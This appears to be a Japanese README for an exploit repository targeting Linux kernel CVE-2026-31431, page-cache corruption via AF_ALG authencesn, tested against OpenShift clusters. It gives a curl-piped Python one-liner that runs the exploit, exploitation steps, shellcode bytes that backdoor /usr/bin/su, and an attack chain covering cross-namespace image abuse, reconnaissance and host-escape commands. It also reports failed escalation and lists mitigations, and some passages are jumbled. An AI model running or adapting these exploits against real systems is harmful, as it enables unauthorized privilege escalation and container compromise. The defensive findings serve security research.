
LinuxカーネルCVE-2026-31431のエクスプロイト。authencesn AEAD操作によるページキャッシュ破損を引き起こし、コンテナおよびOpenShift環境での権限昇格を標的とします。
authencesn AEAD操作によるLinuxカーネルのページキャッシュ破損。
RHEL 9.6カーネルを搭載した複数のOpenShift 4.20.16クラスターでの広範なテストの結果:
詳細は包括的なテスト結果セクションを参照してください。
CVE-2026-31431は、authencesn AEAD暗号実装におけるLinuxカーネルの脆弱性であり、非特権プロセスがAF_ALGソケットとsplice()システムコール操作を介して、読み取り可能なファイルのページキャッシュを破損させることができます。
テスト結果: ページキャッシュ破損は確実に機能しますが、テスト環境のRHEL 9.6カーネルでは権限昇格は発生しません。
CVSSスコア: 7.8(高)
影響を受けるバージョン: authencesnをサポートするLinuxカーネルバージョン(2017年〜2026年)
公開開示: 2026年4月29日
splice()システムコールラッパーを含む/usr/bin/su)curl -s https://raw.githubusercontent.com/seanrickerd/cve-2026-31431/main/exploit.py | python3 su
### ローカルファイルから```bash
python3 exploit.py
su
発生すること:``` [] CVE-2026-31431 'Copy Fail' Exploit [] Universal Linux kernel privilege escalation
[] Target binary: /usr/bin/su [] Testing for vulnerability... [+] System appears vulnerable!
[+] Opened /usr/bin/su (fd=3) [+] File size: 56944 bytes [+] File inode: 201328196 [+] Shellcode size: 160 bytes [+] Patching file in page cache... Written 160/160 bytes... [+] Page cache patching complete! (160 bytes written)
**ページキャッシュ検証(破損の確認):**```bash
dd if=/usr/bin/su bs=1 skip=120 count=48 | hexdump -C
00000000 31 c0 31 ff b0 69 0f 05 48 8d 3d 0f 00 00 00 31 |1.1..i..H.=....1|
00000010 f6 6a 3b 58 99 0f 05 31 ff 6a 3c 58 0f 05 2f 62 |.j;X...1.j<X../b|
00000020 69 6e 2f 73 68 |in/sh|
# Shellcode IS present in page cache ✅
起こらないこと(テストに基づく):```bash
su
id -u
**結論:** ページキャッシュの破壊は成功するが、権限昇格は失敗する。
## 技術的詳細
### 脆弱性
Linuxカーネルの`authencesn`(認証付き暗号化 - 拡張シーケンス番号)実装には、インプレース操作の処理に欠陥がある。AF_ALGソケット経由で送信されたAEAD操作を処理する際、ページキャッシュのページがカーネルの書き込み可能な宛先scatterlistに含まれる可能性がある。
### 悪用手法
1. **AF_ALGソケットを作成** `authencesn(hmac(sha256),cbc(aes))`を使用
2. **AEADパラメータを設定**(キー、authsize)
3. **対象のsetuidバイナリを開く**(例:`/usr/bin/su`)
4. **splice()を使用** バイナリをページキャッシュに取り込む
5. **インプレースAEAD操作をトリガー** ページキャッシュへの書き込みを発生させる
6. **シェルコードを書き込む** 一度に4バイトずつ
7. **改変したバイナリを実行** rootを取得する
### シェルコード
このエクスプロイトは、`/usr/bin/su`をパッチする160バイトのシェルコードを使用する:
- パスワード認証をスキップ
- rootシェルへのアクセスを許可
- 非特権ユーザーには通常の機能を維持
## Python 3.9互換性
Python 3.9以前には、標準ライブラリに`os.splice()`がない。このエクスプロイトには、ctypesベースの実装が含まれている:```python
import ctypes
import ctypes.util
libc = ctypes.CDLL(ctypes.util.find_library('c'))
class off64_t(ctypes.c_int64):
pass
libc.splice.argtypes = [...]
libc.splice.restype = ctypes.c_ssize_t
def splice(src, dst, count, offset_src=None, offset_dst=None):
# Wrapper matching Python os.splice() API
...
これにより、エクスプロイトは以下で動作します:
ノード構成:
テスト結果:``` ✅ Exploit executed successfully ✅ Page cache corrupted (160 bytes shellcode injected) ✅ Shellcode visible at binary entry point (offset 120) ✅ /bin/sh signature confirmed in hexdump ❌ Privilege escalation: FAILED (UID unchanged) ❌ Root access: NO ❌ Container escape: NO (Device 2097322, Inode 931145742 - container overlay only)
### テスト環境 2: 新しい OpenShift クラスター(検証テスト)
**クラスター:** https://api.vvb32-fzdtf-8yn.nnbd.p3.openshiftapps.com:443
**ノード構成:**
- カーネル: 5.14.0-570.96.1.el9_6.x86_64(テスト 1 と同一)
- OpenShift: 4.20.16
- SCC: restricted-v2(検証済み)
- UID: 1000810000(ユーザー名前空間)
- ケーパビリティ: 0x0000000000000000(ゼロ)
**テスト結果:**```
✅ Page cache corruption: SUCCESS (consistent with Test 1)
✅ Shellcode injection: CONFIRMED (byte-for-byte identical)
✅ Device/Inode: 2097286 / 201328196 (container overlay - isolated)
❌ Privilege escalation: FAILED (consistent with Test 1)
❌ Code execution: NOT OBSERVED (consistent with Test 1)
❌ UID change: NO (1000810000 → 1000810000 unchanged)
一貫性: 独立したクラスター間で100%再現可能な結果
シナリオA: hostPathボリュームあり(コンテナエスケープ可能)```yaml volumes:
結果: ✅ **Container escape** - ホストページキャッシュを変更 (Device 33, Inode 4288)
**シナリオB: Restricted-v2 SCC (No hostPath)**```yaml
# No hostPath volumes, restricted-v2 SCC
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
capabilities:
drop: [ALL]
結果: ❌ コンテナエスケープなし - コンテナのオーバーレイのみに影響(別のinode)
重大な発見: コンテナエスケープの決定要因はケーパビリティではなく、hostPathアクセスである。
考えられる説明(さらなる調査が必要):
読み取りと実行のコードパスの違い
mmap(PROT_READ) 操作に影響するmmap(PROT_EXEC) は破損したキャッシュをバイパスする可能性があるメモリ保護
カーネルバージョン固有の要因
結論: カーネルの脆弱性は実在する(ページキャッシュ破損が実証済み)が、実用的な悪用は限定的である。
| システム | カーネル | ページキャッシュ破損 | 権限昇格 | 備考 |
|---|---|---|---|---|
注記: テストはRHEL 9.6カーネルに限定。他のディストリビューション/バージョンでの動作は未検証。
RHEL CoreOS 9.4を実行するOpenShift 4.20クラスターでテストに成功。このセクションでは、名前空間分離のバイパスとコンテナ侵害について説明する。
⚠️ 重要な訂正: 初期テストでは、/proc/1/root を介したホストファイルシステムへのアクセスが誤って主張されていた。これは誤りである - 分離されたコンテナ内の /proc/1/root は、OpenShiftワーカーノードのホストではなく、コンテナ自身のファイルシステムを指す。詳細な分析については attacks/README.md を参照。
Restricted Pod → Namespace Breakout → Attack Pod → CVE-2026-31431 → Root in Container → Network Reconnaissance → Lateral Movement Attempts
### フェーズ 1: 名前空間分離のバイパス
**脆弱性:** OpenShift 内部レジストリは、適切な RBAC の強制なしに、名前空間をまたいだイメージのプルを許可します。
**悪用方法:**```bash
# Enumerate images in privileged namespaces
oc get imagestreams -n openshift
oc get imagestreams -n redhat-ods-applications
# Create pod with stolen tools
cat > attack-demo.yaml << EOF
apiVersion: v1
kind: Pod
metadata:
name: attack-demo
namespace: user-srickerd
spec:
containers:
- name: stolen-tools
image: image-registry.openshift-image-registry.svc:5000/openshift/cli:latest
command: ["sleep", "3600"]
EOF
oc apply -f attack-demo.yaml
結果:
openshift/cli イメージを取得影響: テナント間の横方向の移動と特権ツールへのアクセスを可能にします。
デプロイ:```bash
oc exec -n user-srickerd attack-demo -- bash -c " curl -s https://raw.githubusercontent.com/seanrickerd/cve-2026-31431/main/exploit.py | python3 && su "
**結果:**```
[*] CVE-2026-31431 Copy Fail Exploit
[*] Target: /usr/bin/su
[+] Opened /usr/bin/su (fd=3)
[+] Shellcode size: 160 bytes
[+] Patching /usr/bin/su in page cache...
Written 160/160 bytes...
[+] Page cache patching complete!
[+] Executing modified su...
エクスプロイト後の機能:
現実確認 - /proc/1/root はホストではない:```bash
stat -c '%i' /tmp/test.txt
stat -c '%i' /proc/1/root/tmp/test.txt
readlink /proc/self/ns/mnt readlink /proc/1/ns/mnt
**コンテナOSの詳細:**```
NAME="Red Hat Enterprise Linux"
VERSION="9.4 (Plow)"
Based on: openshift/cli container image
Running on: RHEL CoreOS 9.4 worker node (inaccessible)
Kernel: 5.14.0-570.96.1.el9_6.x86_64 (shared, not accessible)
コンテナ内で作成されたスクリプト(attacks/ ディレクトリにあります):
1. コンテナ偵察(recon.sh - 1425 バイト)
2. ラテラルムーブメントスクリプト(lateral.sh - 1754 バイト)
3. 失敗したホスト悪用の試行
host-rootkit.py - /proc/1/root/usr/bin/su へのバックドア挿入を試行
modprobe-escape.py - カーネルモジュールエスケープを試行
trigger-rootkit.sh - バックドア化された su をトリガー
成功したものと失敗したものの完全な分析については、attacks/README.md を参照してください。
接続テスト:```bash
curl -k https://kubernetes.default.svc:443/healthz
curl -s https://www.google.com
curl -k https://image-registry.openshift-image-registry.svc:5000/
**ラテラルムーブメントの機会:**
- ✅ フルインターネットアクセス(ツールのダウンロード、C2通信、データ流出)
- ✅ 内部APIアクセス(クラスターリソースの列挙)
- ✅ 内部レジストリアクセス(イメージポイズニング攻撃)
- ✅ ポッドネットワーク経由のクロスノードスキャン
### ブロックされたホストエスケープ手法
これらの手法は試行されたが、OpenShiftのセキュリティ制御によってブロックされた:
**1. nsenter(ユーザー名前空間が防止)**```bash
nsenter --target 1 --mount --uts --ipc --net /bin/bash
# Error: reassociate to namespace 'ns/ipc' failed: Operation not permitted
2. chroot(要するにCAP_SYS_CHROOTが必要)```bash chroot /proc/1/root /bin/bash
**3. カーネルモジュールのロード(ケーパビリティなし + RHCOSのハードニング)**
- RHCOSには `insmod`、`modprobe`、`kmod` バイナリが存在しない
- `/lib/modules` は空(コンテナ最適化OS)
- `CAP_SYS_MODULE` は利用不可
- `/proc/sys/kernel/modprobe` は読み取り専用でマウントされている
**4. cgroup release_agent(読み取り専用でマウント)**```bash
mount | grep cgroup
# cgroup2 on /sys/fs/cgroup type cgroup2 (ro,nosuid,nodev,noexec)
5. /proc/sys の操作(読み取り専用ファイルシステム)```bash echo "/tmp/evil.sh" > /proc/sys/kernel/core_pattern
### 実際に達成したこと
✅ **名前空間分離のバイパス**
- 内部レジストリからのクロス名前空間イメージ取得
- 特権コンテナイメージへのアクセス(openshift/cli)
✅ **コンテナ内のページキャッシュ破損**
- CVE-2026-31431によるコンテナの`/usr/bin/su`ページキャッシュの改変
- 160バイトのシェルコード注入を確認(hexdumpで可視化)
- 破損はコンテナファイルのREAD操作に影響
✅ **Podからのネットワークアクセス**
- 完全なインターネット接続(外部送信、C2、ツールのダウンロード)
- 内部APIサーバーへのアクセス(RBACにより制限)
- 内部レジストリへのアクセス(イメージポイズニングの可能性)
- Podネットワーク経由のクロスPodスキャン
❌ **権限昇格 - 失敗**
- ページキャッシュは破損したが、rootアクセスは達成できず
- UIDは変更されず(ユーザー名前空間UID ~1000000+)
- 特権操作を実行できない
- /etc/shadowやその他の制限ファイルへのアクセス不可
❌ **ホストファイルシステムへのアクセス - 失敗**
- `/proc/1/root`は**コンテナの**ルートを指しており、ホストではない
- OpenShiftワーカーノードのファイルシステムへの実際のアクセスなし
- スクリプトはコンテナの`/tmp`に展開され、ホストの`/tmp`ではない
- デバイス/Inodeの分離によりホストのページキャッシュアクセスを防止
❌ **完全なホストエスケープ - ブロック**
- ユーザー名前空間の分離が有効
- ゼロケーパビリティによりnsenter/chroot/ホストアクセスを防止
- SCCが特権Podの作成をブロック
- RHCOSのハードニングによりモジュールのロードを防止
- restricted-v2がコンテナエスケープを防止
### OpenShiftセキュリティ評価
**機能した制御 ✅**
- Security Context Constraints(SCC)- コンテナエスケープを防止
- ユーザー名前空間 - ページキャッシュをコンテナオーバーレイに分離
- ゼロケーパビリティ - カーネルエクスプロイトにもかかわらずホストアクセスを防止
- SELinuxの強制 - コンテナの分離を維持
- 読み取り専用の/proc/sys - カーネル操作の試みをブロック
- RHCOSのハードニング - モジュールロード機能なし
**部分的に機能した制御 ⚠️**
- Seccomp RuntimeDefault - 有効だがAF_ALGソケットを許可
- ケーパビリティのドロップ - 有効だがページキャッシュの破損は防止できない
**失敗した制御 ❌**
- 名前空間RBAC - クロス名前空間イメージプルを許可
- カーネル保護 - AF_ALGインターフェースがコンテナからアクセス可能
- システムコールフィルタリング - splice()がデフォルトのseccompで制限されていない
**総合評価:**
CVE-2026-31431は実際のカーネル脆弱性であるが、OpenShiftの多層防御アプローチ(SCC + ユーザー名前空間 + ケーパビリティのドロップ + ファイルシステムの分離)により、実質的な悪用は防止された。このエクスプロイトはページキャッシュを破損するが、restricted-v2 Podからの権限昇格やコンテナエスケープは達成できない。
### OpenShiftへの推奨事項
**1. AF_ALGソケットのブロック**```yaml
securityContext:
seccompProfile:
type: Localhost
localhostProfile: profiles/no-af-alg.json
2. イメージレジストリのRBACを適用する```bash
oc policy add-role-to-user system:image-puller
--namespace=
**3. 強化された Seccomp プロファイル**
危険なシステムコールをブロックします:
- `socket(AF_ALG, ...)` - ファミリー 38
- `splice()` を信頼できるファイルディスクリプタに制限
- まだブロックされていない場合は `init_module`、`finit_module` をブロック
**4. ランタイムモニタリング**
以下をアラート:
- コンテナ内での AF_ALG ソケット作成
- 名前空間をまたぐイメージプル
- 不審な `splice()` システムコールパターン
- コンテナ侵害の兆候 (予期しない root プロセス)
### 完全な攻撃ドキュメント
完全な攻撃チェーンに関するドキュメントには以下が含まれます:
- 悪用のタイムライン
- MITRE ATT&CK マッピング
- 詳細な技術分析
- すべての偵察スクリプト
以下を参照してください:
- **[attacks/README.md](https://github.com/seanrickerd/cve-2026-31431/blob/HEAD/attacks/README.md)** - 成功した点と失敗した点の詳細な分析
- **[docs/openshift-attack-chain.md](https://github.com/seanrickerd/cve-2026-31431/blob/HEAD/docs/openshift-attack-chain.md)** - 元のドキュメント (エラーが含まれています。修正については attacks/README.md を参照してください)
## 緩和策
### 即時対応```bash
# Blacklist the vulnerable module
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif-aead.conf
rmmod algif_aead
AF_ALG ソケットの作成をブロックします:```json { "defaultAction": "SCMP_ACT_ALLOW", "syscalls": [{ "names": ["socket"], "action": "SCMP_ACT_ERRNO", "args": [{"index": 0, "value": 38, "op": "SCMP_CMP_EQ"}] }] }
### カーネルパッチ
ベンダーパッチを適用します:
- Red Hat: https://access.redhat.com/security/cve/cve-2026-31431 を監視
- Ubuntu: `apt update && apt upgrade linux-image-*`
- アップストリーム: authencesn をインプレース外操作に戻した Kernel 6.x+
## よくある質問
### Q: このエクスプロイトで root 権限を取得できますか?
**A:** いいえ - RHEL 9.6 カーネル (5.14.0-570.96.1) での広範なテストに基づくと、このエクスプロイトはカーネルページキャッシュの破損には成功しますが、権限昇格は達成できません。バックドア化されたバイナリを実行した後も UID は変更されません。
### Q: 制限付き Kubernetes/OpenShift コンテナから脱出できますか?
**A:** いいえ (restricted-v2 SCC の場合) - ページキャッシュの破損はコンテナのオーバーレイファイルシステムに限定されます。コンテナ脱出には、hostPath または類似のボリュームを介した共有ホストリソースへのアクセスが必要です。restricted-v2 SCC はホストリソースへのアクセスをブロックすることで、脱出を効果的に防止します。
### Q: エクスプロイトが「root」を主張しているのに、テストでは機能しないのはなぜですか?
**A:** エクスプロイトコードは CVE 開示と理論的分析に基づいて作成されました。RHEL 9.6 カーネルでの実環境テストにより、以下が判明しました:
- ページキャッシュの破損は機能 ✅ (hexdump で証明済み)
- 破損したキャッシュからのコード実行は機能しない ❌ (UID は変更されず)
これは以下の理由による可能性があります:
- カーネルバージョンの違い (RHEL 9.6 には保護機能がある可能性)
- W^X メモリ保護の適用
- 実行メモリと読み取りメモリのコードパスの違い
### Q: すべての Linux カーネルで動作しますか?
**A:** 不明 - テストは以下に限定されていました:
- RHEL CoreOS 9.6 (カーネル 5.14.0-570.96.1.el9_6.x86_64)
- OpenShift 4.20.16 ワーカーノード
他のディストリビューション/カーネルバージョンでの動作は検証されていません。元の CVE 研究条件とは異なる場合があります。
### Q: それでもシステムにパッチを適用すべきですか?
**A:** はい - 絶対に適用してください。権限昇格は達成されませんでしたが:
1. カーネルの脆弱性は本物です (ページキャッシュの破損が確認済み)
2. 他のカーネルバージョンでは動作が異なる可能性があります
3. hostPath ボリュームを使用すると、コンテナ脱出が可能です
4. 多層防御にはすべての脆弱性の排除が必要です
5. 将来の研究でコード実行を達成する方法が見つかる可能性があります
カーネルパッチの適用はセキュリティ上必須です。
### Q: テストで実際に何を証明しましたか?
**A:** 2 つの独立した OpenShift クラスターでの包括的なテストにより、以下が証明されました:
✅ **確認済み:**
- CVE-2026-31431 カーネル脆弱性が悪用可能
- 非特権コンテナ (ケーパビリティゼロ) からページキャッシュを破損可能
- restricted-v2 SCC にもかかわらず AF_ALG インターフェースにアクセス可能
- シェルコード注入が成功 (hexdump で確認可能)
❌ **機能しなかったもの:**
- 権限昇格 (UID は変更されず)
- 破損したページキャッシュからのコード実行
- restricted-v2 ポッドからのコンテナ脱出
- hostPath なしのホストファイルシステムへのアクセス
🛡️ **多層防御が効果的:**
- SCC + ユーザー名前空間 + ケーパビリティ削除により悪用を防止
- 複数のセキュリティ層により爆発半径を制限
- カーネル脆弱性にもかかわらずコンテナ分離が維持
## セキュリティ通知
このリポジトリはカーネル脆弱性を以下の目的で文書化しています:
- ✅ 許可されたセキュリティテストおよび研究
- ✅ 脆弱性の検証と分析
- ✅ セキュリティ意識向上と教育
- ✅ 防御策の開発
**以下に基づく調査結果:**
- 許可されたシステムでの管理されたテスト
- 複数の独立したクラスター環境
- 包括的な検証と再現性テスト
**明示的な許可がないシステムでは使用しないでください。**
## 参考情報
- **CVE:** https://nvd.nist.gov/vuln/detail/CVE-2026-31431
- **開示:** https://copy.fail
- **カーネルパッチ:** Linux カーネルコミット (2026年4月1日)
- **Red Hat アドバイザリ:** https://access.redhat.com/security/cve/cve-2026-31431
## クレジット
- **CVE 発見:** Taeyang Lee (Theori)
- **元の分析:** Xint Code Research Team
- **エクスプロイト実装:** Sean Rickerd
- **包括的なテストと検証:** Sean Rickerd
- 2 つの独立した OpenShift 4.20.16 クラスター
- RHEL CoreOS 9.6 カーネル 5.14.0-570.96.1
- 実際の動作と主張の差異を文書化
- restricted-v2 SCC の有効性を検証
## ライセンス
許可されたセキュリティテストおよび研究のみを対象としています。自己責任で使用してください。
---
**リポジトリステータス:** 実環境テスト結果で更新済み (2026年5月1日)
**テスト:** 2 つの独立した OpenShift クラスターで完了
**主要な発見:** ページキャッシュの破損は確認、権限昇格は未達成
**推奨事項:** 実用的な悪用は限定的だが、カーネルにパッチを適用すること
| テスト | OpenShift 4.20 #1 | OpenShift 4.20 #2 | ステータス |
|---|
| AF_ALGソケットアクセス | ✅ | ✅ | 機能 |
| ページキャッシュ破損 | ✅ | ✅ | 機能 |
| シェルコード注入 | ✅ | ✅ | 機能 |
| シェルコード可視化(READ) | ✅ | ✅ | 機能 |
| UID変更(権限昇格) | ❌ | ❌ | 失敗 |
| コード実行 | ❌ | ❌ | 失敗 |
| コンテナエスケープ(restricted-v2) | ❌ | ❌ | ブロック |
| RHEL CoreOS 9.6 |
| 5.14.0-570.96.1.el9_6 |
| ✅ あり |
| ❌ なし |
| OpenShift 4.20.16ワーカー |
| OpenShift 4.20コンテナ | 5.14.0-570.96.1.el9_6 | ✅ あり | ❌ なし | restricted-v2 SCC |